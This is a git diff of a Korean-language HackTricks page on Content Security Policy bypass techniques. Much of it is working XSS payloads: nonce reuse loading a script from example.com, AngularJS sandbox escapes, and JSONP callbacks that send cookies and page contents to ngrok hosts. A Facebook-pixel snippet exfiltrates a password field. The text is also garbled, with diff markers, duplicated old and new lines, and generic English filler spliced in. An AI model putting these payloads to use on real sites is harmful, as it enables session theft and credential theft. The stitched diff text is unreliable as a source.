||||
|
||||
CSP는 활성 및 수동 콘텐츠를로드하는 원본을 제한하여 인라인 JavaScript 실행 및 `eval()` 사용과 같은 측면을 제어합니다. 예제 정책은 다음과 같습니다:
|
||||
|
||||
```bash
|
||||
default-src 'none';
|
||||
img-src 'self';
|
||||
|
@ -71,11 +62,10 @@ frame-src 'self' https://ic.paypal.com https://paypal.com;
|
|||
media-src https://videos.cdn.mozilla.net;
|
||||
object-src 'none';
|
||||
```
|
||||
### 지시문
|
||||
|
||||
#### 지시문
|
||||
|
||||
* **script-src**: URL, 인라인 스크립트, 이벤트 핸들러 또는 XSLT 스타일시트로 트리거된 스크립트를 포함한 JavaScript에 대한 특정 소스를 허용합니다.
|
||||
* **default-src**: 특정 fetch 지시문이 없을 때 리소스를 가져오는 기본 정책을 설정합니다.
|
||||
* **script-src**: URL, 인라인 스크립트, 이벤트 핸들러 또는 XSLT 스타일시트로 트리거된 스크립트를 포함한 JavaScript의 특정 소스를 허용합니다.
|
||||
* **default-src**: 특정 가져오기 지시문이 없을 때 리소스를 가져오기 위한 기본 정책을 설정합니다.
|
||||
* **child-src**: 웹 워커 및 임베디드 프레임 콘텐츠에 대한 허용된 리소스를 지정합니다.
|
||||
* **connect-src**: fetch, WebSocket, XMLHttpRequest와 같은 인터페이스를 사용하여 로드할 수 있는 URL을 제한합니다.
|
||||
* **frame-src**: 프레임용 URL을 제한합니다.
|
||||
|
@ -88,177 +78,132 @@ object-src 'none';
|
|||
* **base-uri**: `<base>` 요소를 사용하여 로드할 수 있는 URL을 지정합니다.
|
||||
* **form-action**: 양식 제출을 위한 유효한 엔드포인트를 나열합니다.
|
||||
* **plugin-types**: 페이지에서 호출할 수 있는 MIME 유형을 제한합니다.
|
||||
* **upgrade-insecure-requests**: 브라우저에게 HTTP URL을 HTTPS로 재작성하도록 지시합니다.
|
||||
* **upgrade-insecure-requests**: 브라우저에게 HTTP URL을 HTTPS로 변경하도록 지시합니다.
|
||||
* **sandbox**: `<iframe>`의 sandbox 속성과 유사한 제한을 적용합니다.
|
||||
* **report-to**: 정책이 위반될 경우 보고될 그룹을 지정합니다.
|
||||
* **worker-src**: Worker, SharedWorker 또는 ServiceWorker 스크립트에 대한 유효한 소스를 지정합니다.
|
||||
* **prefetch-src**: 가져오거나 사전로드할 리소스에 대한 유효한 소스를 지정합니다.
|
||||
* **prefetch-src**: 가져오거나 사전로드될 리소스에 대한 유효한 소스를 지정합니다.
|
||||
* **navigate-to**: 문서가 어떠한 방법으로든 이동할 수 있는 URL을 제한합니다 (a, form, window.location, window.open 등).
|
||||
|
||||
#### 소스
|
||||
### 소스
|
||||
|
||||
* `*`: `data:`, `blob:`, `filesystem:` 스키마를 제외한 모든 URL을 허용합니다.
|
||||
* `'self'`: 동일한 도메인에서 로드를 허용합니다.
|
||||
* `'data'`: 데이터 스키마를 통해 리소스를 로드할 수 있도록 허용합니다 (예: Base64로 인코딩된 이미지).
|
||||
* `'data'`: 데이터 스키마를 통해 리소스를 로드할 수 있게 합니다 (예: Base64로 인코딩된 이미지).
|
||||
* `'none'`: 어떠한 소스에서도 로드를 차단합니다.
|
||||
* `'unsafe-eval'`: `eval()` 및 유사한 메서드의 사용을 허용하지만 보안상 권장되지 않습니다.
|
||||
* `'unsafe-eval'`: `eval()` 및 유사한 메서드의 사용을 허용하며 보안상 권장되지 않습니다.
|
||||
* `'unsafe-hashes'`: 특정 인라인 이벤트 핸들러를 활성화합니다.
|
||||
* `'unsafe-inline'`: 인라인 `<script>` 또는 `<style>`과 같은 리소스의 사용을 허용하지만 보안상 권장되지 않습니다.
|
||||
* `'nonce'`: 암호화된 nonce(일회용 번호)를 사용하여 특정 인라인 스크립트를 화이트리스트로 지정합니다.
|
||||
* 페이지 내에서 사용된 nonce를 가져와 악성 스크립트를 로드할 수 있습니다 (strict-dynamic이 사용된 경우, 허용된 소스가 새로운 소스를 로드할 수 있으므로 이는 필요하지 않음). 아래와 같이 사용할 수 있습니다:
|
||||
* `'unsafe-inline'`: 인라인 `<script>` 또는 `<style>`과 같은 리소스의 사용을 허용하며 보안상 권장되지 않습니다.
|
||||
* `'nonce'`: 암호화된 난스(일회용 번호)를 사용하여 특정 인라인 스크립트를 화이트리스트로 지정합니다.
|
||||
* JS 제한 실행이 있는 경우 `doc.defaultView.top.document.querySelector("[nonce]")`를 사용하여 페이지 내에서 사용된 난스를 가져올 수 있으며, 이를 재사용하여 악성 스크립트를 로드할 수 있습니다 (strict-dynamic이 사용된 경우, 허용된 소스는 새로운 소스를 로드할 수 있으므로 이는 필요하지 않음). 아래와 같이:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>nonce를 재사용하여 스크립트 로드</summary>
|
||||
|
||||
\`\`\`html ![](https://github.com/carlospolop/hacktricks/blob/kr/pentesting-web/content-security-policy-csp-bypass/x) \`\`\`
|
||||
|
||||
<summary>난스를 재사용하여 스크립트 로드</summary>
|
||||
```html
|
||||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
||||
<img src=x ng-on-error='
|
||||
doc=$event.target.ownerDocument;
|
||||
a=doc.defaultView.top.document.querySelector("[nonce]");
|
||||
b=doc.createElement("script");
|
||||
b.src="//example.com/evil.js";
|
||||
b.nonce=a.nonce; doc.body.appendChild(b)'>
|
||||
```
|
||||
</details>
|
||||
|
||||
* `'sha256-<hash>'`: 특정 sha256 해시를 가진 스크립트를 화이트리스트에 추가합니다.
|
||||
* `'strict-dynamic'`: nonce 또는 해시에 의해 화이트리스트에 추가된 경우 어떤 소스에서든 스크립트를로드할 수 있습니다.
|
||||
* `'host'`: `example.com`과 같은 특정 호스트를 지정합니다.
|
||||
* `'host'`: `example.com`과 같이 특정 호스트를 지정합니다.
|
||||
* `https:`: HTTPS를 사용하는 URL로 제한합니다.
|
||||
* `blob:`: Blob URL (예: JavaScript를 통해 생성된 Blob URL)에서 리소스를로드할 수 있습니다.
|
||||
* `filesystem:`: 파일 시스템에서 리소스를로드할 수 있습니다.
|
||||
* `'report-sample'`: 위반 보고서에 위반 코드의 샘플을 포함합니다 (디버깅에 유용).
|
||||
* `'strict-origin'`: 'self'와 유사하지만 소스의 프로토콜 보안 수준이 문서와 일치하는지 확인합니다 (안전한 원본만 안전한 원본에서 리소스를로드 할 수 있음).
|
||||
* `'strict-origin-when-cross-origin'`: 동일 출처 요청을 만들 때 전체 URL을 보내지만 교차 출처 요청일 때는 원본만 보냅니다.
|
||||
* `'report-sample'`: 위반 코드의 샘플을 위반 보고서에 포함합니다 (디버깅에 유용).
|
||||
* `'strict-origin'`: 'self'와 유사하지만 소스의 프로토콜 보안 수준이 문서와 일치하는지 확인합니다 (안전한 원본에서만 안전한 원본으로부터 리소스를로드할 수 있습니다).
|
||||
* `'strict-origin-when-cross-origin'`: 동일 출처 요청을 만들 때 전체 URL을 보내지만 교차 출처 요청을 만들 때는 원본만 보냅니다.
|
||||
* `'unsafe-allow-redirects'`: 즉시 다른 리소스로 리디렉션될 수있는 리소스를로드할 수 있습니다. 보안을 약화시키므로 권장되지 않습니다.
|
||||
|
||||
### 안전하지 않은 CSP 규칙
|
||||
|
||||
#### 'unsafe-inline'
|
||||
## 안전하지 않은 CSP 규칙
|
||||
|
||||
### 'unsafe-inline'
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||
```
|
||||
|
||||
작동하는 페이로드: `"/><script>alert(1);</script>`
|
||||
|
||||
**Iframes를 통한 self + 'unsafe-inline'**
|
||||
#### Iframes를 통한 self + 'unsafe-inline'
|
||||
|
||||
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
|
||||
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### 'unsafe-eval'
|
||||
### 'unsafe-eval'
|
||||
|
||||
{% hint style="danger" %}
|
||||
이 방법은 작동하지 않습니다. 자세한 정보는 [**여기**](https://github.com/HackTricks-wiki/hacktricks/issues/653)를 확인하세요.
|
||||
{% endhint %}
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
|
||||
작동하는 페이로드:
|
||||
|
||||
```html
|
||||
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
|
||||
```
|
||||
### strict-dynamic
|
||||
|
||||
#### strict-dynamic
|
||||
|
||||
만약 허용된 JS 코드가 당신의 JS 코드로 DOM에 새로운 스크립트 태그를 생성하도록 할 수 있다면, 허용된 스크립트가 생성하기 때문에 **새로운 스크립트 태그가 실행 허용**될 것입니다.
|
||||
|
||||
#### Wildcard (\*)
|
||||
만약 **허용된 JS 코드가 새로운 스크립트 태그를 생성하도록** 할 수 있다면, 허용된 스크립트가 생성하기 때문에 **새로운 스크립트 태그가 실행되도록 허용**될 것입니다.
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
|
||||
작동하는 페이로드:
|
||||
|
||||
```markup
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
```
|
||||
|
||||
#### object-src 및 default-src 부재
|
||||
### object-src 및 default-src 부재
|
||||
|
||||
{% hint style="danger" %}
|
||||
**이제 더 이상 작동하지 않는 것으로 보입니다**
|
||||
{% endhint %}
|
||||
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
```
|
||||
|
||||
작동하는 페이로드:
|
||||
|
||||
작동하는 payloads:
|
||||
```markup
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||
<param name="AllowScriptAccess" value="always"></object>
|
||||
```
|
||||
|
||||
#### 파일 업로드 + 'self'
|
||||
|
||||
### 파일 업로드 + 'self'
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
|
||||
만약 JS 파일을 업로드할 수 있다면 이 CSP를 우회할 수 있습니다:
|
||||
|
||||
작동하는 payload:
|
||||
|
||||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
그러나 서버가 **업로드된 파일을 유효성 검사**하고 **특정 유형의 파일만 업로드**할 수 있도록 허용할 가능성이 매우 높습니다.
|
||||
|
||||
그러나 서버가 **업로드된 파일을 유효성 검사**하고 특정 유형의 파일만 **업로드할 수 있도록 허용**할 가능성이 매우 높습니다.
|
||||
또한, 서버가 허용하는 확장자를 사용하여 파일 내에 **JS 코드를 업로드**할 수 있더라도 (예: _script.png_), 이것만으로는 충분하지 않습니다. 왜냐하면 Apache 서버와 같은 일부 서버는 **파일의 MIME 유형을 확장자를 기반으로 선택**하며 Chrome과 같은 브라우저는 이미지여야 하는 것에 Javascript 코드를 실행하지 않도록 **거부**할 것입니다. "행운이라면" 실수가 있을 수 있습니다. 예를 들어, CTF에서 배운 바에 따르면 **Apache는** _**.wave**_ **확장자를 인식하지 못**하므로 이를 **audio/\***와 같은 MIME 유형으로 제공하지 않습니다.
|
||||
|
||||
또한 서버가 허용하는 확장자를 사용하여 파일 내에 **JS 코드를 업로드**할 수 있더라도 (예: _script.png_), 이것만으로는 충분하지 않습니다. 왜냐하면 Apache 서버와 같은 일부 서버는 파일의 MIME 유형을 **확장자를 기반으로 선택**하며 Chrome과 같은 브라우저는 이미지여야 하는 것에 Javascript 코드를 실행하지 않도록 **거부**할 것입니다. "다행히도", 실수가 있습니다. 예를 들어, CTF에서 배운 바에 따르면 **Apache는** _**.wave**_ 확장자를 인식하지 못하기 때문에 **audio/\***와 같은 MIME 유형으로 제공하지 않습니다.
|
||||
이후, XSS와 파일 업로드를 찾은 경우 **잘못 해석된 확장자**를 찾아 파일을 해당 확장자로 업로드하고 스크립트 내용을 삽입해 볼 수 있습니다. 또는, 서버가 업로드된 파일의 올바른 형식을 확인하는 경우, 다중언어 ([여기에 일부 다중언어 예제](https://github.com/Polydet/polyglot-database))를 생성할 수 있습니다.
|
||||
|
||||
여기서 XSS와 파일 업로드를 찾은 경우, **잘못 해석된 확장자**를 찾아 파일을 해당 확장자와 스크립트 내용으로 업로드해 볼 수 있습니다. 또는 서버가 업로드된 파일의 올바른 형식을 확인하는 경우, 다중언어 ([여기에 일부 다중언어 예제](https://github.com/Polydet/polyglot-database))를 만들어 시도할 수 있습니다.
|
||||
### Form-action
|
||||
|
||||
#### Form-action
|
||||
JS를 삽입할 수 없는 경우, 예를 들어 자격 증명을 유출하기 위해 **폼 액션을 삽입**해 볼 수 있습니다 (그리고 비밀번호 관리자가 자동으로 비밀번호를 채우기를 기대할 수도 있습니다). [**이 보고서에서 예제를 찾을 수 있습니다**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). 또한, `default-src`가 폼 액션을 포함하지 않는다는 점에 유의하십시오.
|
||||
|
||||
JS를 삽입할 수 없는 경우, 예를 들어 자격 증명을 빼내기 위해 **폼 액션을 삽입**해 볼 수 있습니다 (그리고 비밀번호 관리자가 자동으로 비밀번호를 채우기를 기대할 수도 있습니다). [**이 보고서에서 예제를**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) 찾을 수 있습니다. 또한 `default-src`가 폼 액션을 포함하지 않는다는 점에 유의하십시오.
|
||||
|
||||
#### 제3자 엔드포인트 + ('unsafe-eval')
|
||||
### 제3자 엔드포인트 + ('unsafe-eval')
|
||||
|
||||
{% hint style="warning" %}
|
||||
다음 페이로드 중 일부에 대해 **`unsafe-eval`가 필요하지 않을 수도 있습니다**.
|
||||
다음 페이로드 중 일부에 대해 **`unsafe-eval`이 실제로 필요하지 않을 수도** 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
```
|
||||
|
||||
## CSP Bypass with AngularJS Sandbox
|
||||
|
||||
### Overview
|
||||
|
||||
#### Description
|
||||
|
||||
The AngularJS sandbox bypass technique allows an attacker to execute arbitrary JavaScript code on a website that uses a vulnerable version of AngularJS, even when the website has a strict Content Security Policy (CSP) in place.
|
||||
|
||||
#### Impact
|
||||
|
||||
By exploiting this vulnerability, an attacker can bypass the CSP restrictions and execute malicious code on the target website, potentially leading to various attacks such as cross-site scripting (XSS) or data exfiltration.
|
||||
|
||||
### Exploitation
|
||||
|
||||
To exploit this vulnerability, follow these steps:
|
||||
|
||||
1. Load a vulnerable version of AngularJS on the target website.
|
||||
2. Craft a payload that triggers the execution of arbitrary JavaScript code.
|
||||
3. Inject the payload into a vulnerable component or endpoint on the target website.
|
||||
4. Execute the payload and observe the successful bypass of the CSP restrictions.
|
||||
|
||||
### Example
|
||||
|
||||
```html
|
||||
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.30/angular.js"></script>
|
||||
<script>
|
||||
angular.element(document).find('body').append('<img src=x onerror=alert(1)>');
|
||||
</script>
|
||||
```
|
||||
|
||||
In this example, the attacker loads a vulnerable version of AngularJS (1.2.30) and injects a payload that triggers an alert box to demonstrate the successful bypass of the CSP restrictions.
|
||||
|
||||
### Recommendations
|
||||
|
||||
To mitigate this vulnerability, ensure that your website is not using vulnerable versions of AngularJS. Regularly update your JavaScript libraries and frameworks to the latest secure versions to prevent such bypass techniques. Additionally, implement a strict CSP policy that restricts the execution of inline scripts and external resources to reduce the attack surface for potential bypasses.
|
||||
|
||||
취약한 버전의 Angular을 로드하고 임의의 JS를 실행하십시오:
|
||||
```xml
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||||
|
@ -279,13 +224,11 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
|
||||
**Angular + `window` 객체를 반환하는 함수를 포함한 라이브러리를 사용한 Payload:**
|
||||
#### Angular + 함수를 반환하는 라이브러리를 사용한 Payloads ([이 게시물을 확인하세요](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
{% hint style="info" %}
|
||||
이 게시물은 `cdn.cloudflare.com` (또는 다른 허용된 JS 라이브러리 저장소)에서 모든 라이브러리를 **로드**할 수 있으며, 각 라이브러리에서 추가된 모든 함수를 실행하고, **어떤 라이브러리의 어떤 함수가 `window` 객체를 반환하는지** 확인할 수 있다.
|
||||
이 게시물은 `cdn.cloudflare.com` (또는 다른 허용된 JS 라이브러리 저장소)에서 모든 라이브러리를 **로드**할 수 있으며, 각 라이브러리에서 추가된 모든 함수를 실행하고, **어떤 라이브러리의 어떤 함수가 `window` 객체를 반환하는지** 확인할 수 있다는 것을 보여줍니다.
|
||||
{% endhint %}
|
||||
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||
|
@ -309,21 +252,17 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||
{{[].erase.call().alert('xss')}}
|
||||
</div>
|
||||
```
|
||||
## Angular XSS from a class name:
|
||||
|
||||
Angular XSS from a class name:
|
||||
|
||||
Angular 클래스 이름에서 XSS:
|
||||
|
||||
클래스 이름을 통한 Angular XSS:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
#### Google reCAPTCHA JS 코드 남용
|
||||
|
||||
**Google reCAPTCHA JS 코드 남용**
|
||||
|
||||
[**이 CTF 해설**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves)에 따르면 CSP 내부에서 [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/)를 남용하여 CSP를 우회하고 임의의 JS 코드를 실행할 수 있다.
|
||||
|
||||
[**이 CTF 해설**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves)에 따르면 CSP 내부에서 [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/)를 남용하여 CSP를 우회하고 임의의 JS 코드를 실행할 수 있습니다.
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
|
@ -334,9 +273,7 @@ ng-init="c.init()"
|
|||
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
```
|
||||
|
||||
더 많은 [**이 기사의 payloads**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/)를 확인하세요:
|
||||
|
||||
더 많은 [**이 writeup에서의 payloads**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/) :
|
||||
```html
|
||||
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
|
||||
|
||||
|
@ -351,27 +288,19 @@ b=doc.createElement("script");
|
|||
b.src="//example.com/evil.js";
|
||||
b.nonce=a.nonce; doc.body.appendChild(b)'>
|
||||
```
|
||||
|
||||
**www.google.com을 이용한 오픈 리다이렉트 악용**
|
||||
#### www.google.com을 이용한 오픈 리다이렉트 남용
|
||||
|
||||
다음 URL은 example.com으로 리다이렉트됩니다 ([여기](https://www.landh.tech/blog/20240304-google-hack-50000/)에서).
|
||||
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
### 서드 파티 엔드포인트 + JSONP
|
||||
|
||||
#### Third Party Endpoints + JSONP
|
||||
|
||||
\*.google.com/script.google.com 남용
|
||||
|
||||
Google Apps Script를 남용하여 script.google.com 내부 페이지에서 정보를 수신하는 것이 가능합니다. 이는 [이 보고서](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)에서 수행된 것처럼 가능합니다.
|
||||
|
||||
구글 앱 스크립트를 남용하여 script.google.com 내의 페이지에서 정보를 수신하는 것이 가능합니다. 이는 [이 보고서](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)에서 수행된 것처럼 가능합니다.
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
|
||||
다음과 같은 시나리오에서는 `script-src`가 `self` 및 특정 도메인으로 설정되어 있고 화이트리스트에 등록된 경우 JSONP를 사용하여 우회할 수 있습니다. JSONP 엔드포인트는 보안되지 않은 콜백 방법을 허용하므로 공격자가 XSS를 수행할 수 있습니다. 작동하는 payload:
|
||||
|
||||
다음과 같은 시나리오에서는 `script-src`가 `self` 및 특정 도메인으로 설정되어 있는 경우 JSONP를 사용하여 우회할 수 있습니다. JSONP 엔드포인트는 안전하지 않은 콜백 방법을 허용하여 공격자가 XSS를 수행할 수 있게 합니다. 작동하는 payload:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
|
@ -381,14 +310,13 @@ Content-Security-Policy: script-src 'self' https://www.google.com https://www.yo
|
|||
https://www.youtube.com/oembed?callback=alert;
|
||||
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
||||
```
|
||||
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **에는 다양한 웹사이트의 CSP 우회를 위한 JSONP 엔드포인트가 준비되어 있습니다.**
|
||||
|
||||
**신뢰할 수 있는 엔드포인트에 Open Redirect가 포함되어 있는 경우 동일한 취약점이 발생**할 것입니다. 왜냐하면 초기 엔드포인트가 신뢰되면 리디렉션이 신뢰됩니다.
|
||||
|
||||
#### 제3자 남용
|
||||
### 제3자 남용
|
||||
|
||||
[다음 게시물](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)에 설명된 대로, CSP 어딘가에서 허용된 많은 제3자 도메인은 데이터 유출 또는 JavaScript 코드 실행을 위해 남용될 수 있습니다. 이러한 제3자 중 일부는 다음과 같습니다:
|
||||
[다음 게시물](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)에 설명된대로, CSP 어딘가에서 허용된 많은 제3자 도메인은 데이터 유출이나 JavaScript 코드 실행을 위해 남용될 수 있습니다. 이러한 제3자 중 일부는 다음과 같습니다:
|
||||
|
||||
| Entity | Allowed Domain | Capabilities |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
|
@ -401,76 +329,65 @@ https://www.youtube.com/oembed?callback=alert;
|
|||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
대상의 CSP에서 허용된 도메인 중 하나를 발견하면, 해당 서비스에 등록하여 데이터를 유출하거나 코드를 실행할 수 있을 수도 있습니다.
|
||||
대상의 CSP에서 허용된 도메인 중 하나를 발견하면, 해당 서비스에 등록하여 CSP를 우회하거나 데이터를 그 서비스로 유출하거나 코드를 실행할 수 있을 수도 있습니다.
|
||||
|
||||
예를 들어, 다음과 같은 CSP를 발견한다면:
|
||||
|
||||
```
|
||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
# Content Security Policy (CSP) Bypass
|
||||
|
||||
### Content Security Policy (CSP) Bypass
|
||||
## Introduction
|
||||
|
||||
#### Introduction
|
||||
In this section, we will discuss various techniques to bypass Content Security Policy (CSP) restrictions.
|
||||
|
||||
In some scenarios, a website may have a strict Content Security Policy (CSP) in place to prevent various types of attacks such as Cross-Site Scripting (XSS). However, there are techniques that can be used to bypass CSP protections and successfully execute malicious scripts on the target website.
|
||||
## What is Content Security Policy (CSP)?
|
||||
|
||||
#### Bypass Techniques
|
||||
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. CSP is implemented by using an HTTP header that allows website administrators to control what resources can be loaded on their site.
|
||||
|
||||
1. **Inline Script Execution**: By finding a way to execute inline scripts, an attacker can bypass CSP restrictions that prohibit inline script execution.
|
||||
2. **Unsafe Inline Directive**: Some websites use the `'unsafe-inline'` directive in their CSP policy to allow inline scripts. This can be exploited by an attacker to execute malicious scripts inline.
|
||||
3. **Data: URI Scheme**: The `data:` URI scheme can be used to embed external resources such as images or scripts within a web page. Attackers can leverage this technique to bypass CSP restrictions.
|
||||
4. **Nonce-Based CSP Bypass**: Websites that implement CSP with a nonce (number used once) can be vulnerable to nonce reuse attacks, allowing an attacker to bypass CSP protections.
|
||||
## Bypassing CSP
|
||||
|
||||
#### Impact
|
||||
There are several ways to bypass CSP restrictions, including:
|
||||
|
||||
Successful bypass of CSP can lead to the execution of malicious scripts on a website, potentially resulting in various attacks such as data theft, session hijacking, defacement, and more.
|
||||
1. **Inline Script Execution**: By finding ways to execute scripts inline, bypassing the CSP restrictions on executing scripts.
|
||||
2. **Unsafe Inline**: Some websites use the `'unsafe-inline'` directive in their CSP policy, which allows the execution of inline scripts. This can be exploited by an attacker to execute malicious scripts.
|
||||
3. **Data Injection**: By injecting data into a website, an attacker can bypass CSP restrictions and execute malicious scripts.
|
||||
4. **Using Trusted Resources**: Attackers can load scripts from trusted sources to bypass CSP restrictions.
|
||||
5. **Browser Extension**: By using a browser extension, an attacker can modify or disable CSP headers to bypass restrictions.
|
||||
|
||||
#### Mitigation
|
||||
|
||||
To prevent CSP bypass attacks, website owners should:
|
||||
|
||||
* Avoid using `'unsafe-inline'` directive.
|
||||
* Implement strict CSP policies.
|
||||
* Regularly audit and update CSP configurations.
|
||||
* Use nonces or hashes to validate trusted scripts.
|
||||
* Utilize the `report-uri` directive to monitor and report CSP violations.
|
||||
## Conclusion
|
||||
|
||||
Content Security Policy (CSP) is an important security feature that helps protect websites from various types of attacks. However, it is crucial for website administrators to properly configure and update their CSP policies to prevent bypass techniques used by attackers.
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
|
||||
1. [여기](https://developers.facebook.com/)에서 Facebook 개발자 계정을 만듭니다.
|
||||
2. "Facebook Login" 앱을 만들고 "Website"를 선택합니다.
|
||||
1. [여기](https://developers.facebook.com/)에서 Facebook 개발자 계정을 생성합니다.
|
||||
2. "Facebook Login" 앱을 생성하고 "Website"를 선택합니다.
|
||||
3. "Settings -> Basic"로 이동하여 "App ID"를 가져옵니다.
|
||||
4. 데이터를 유출하려는 대상 사이트에서 Facebook SDK 가젯 "fbq"를 사용하여 "customEvent"와 데이터 페이로드를 직접 사용하여 데이터를 유출할 수 있습니다.
|
||||
5. 앱 "Event Manager"로 이동하여 만든 애플리케이션을 선택합니다 (이벤트 관리자는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. "Test Events" 탭을 선택하여 "당신의" 웹 사이트에서 보내는 이벤트를 확인합니다.
|
||||
4. 데이터를 유출하려는 대상 사이트에서 Facebook SDK 가젯 "fbq"를 사용하여 "customEvent" 및 데이터 페이로드를 직접 사용하여 데이터를 유출할 수 있습니다.
|
||||
5. 앱 "Event Manager"로 이동하여 생성한 애플리케이션을 선택합니다 (이벤트 관리자는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. "Test Events" 탭을 선택하여 "당신의" 웹 사이트에서 전송되는 이벤트를 확인할 수 있습니다.
|
||||
|
||||
그런 다음 피해자 측에서 다음 코드를 실행하여 Facebook 추적 픽셀을 초기화하고 공격자의 Facebook 개발자 계정 앱 ID를 가리키도록하고 다음과 같이 사용자 정의 이벤트를 발생시킵니다:
|
||||
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
### 이전 표에서 지정된 다른 일곱 개의 서드파티 도메인에 대해서는 그들을 남용할 수 있는 다양한 방법이 있습니다. 다른 서드파티 남용에 대한 추가 설명은 이전 [블로그 게시물](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)을 참조하십시오.
|
||||
|
||||
#### 이전 표에서 지정된 다른 일곱 개의 서드파티 도메인에 대해서는 그들을 남용할 수 있는 다양한 방법이 있습니다. 다른 서드파티 남용에 대한 추가 설명은 이전 [블로그 게시물](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)을 참조하십시오.
|
||||
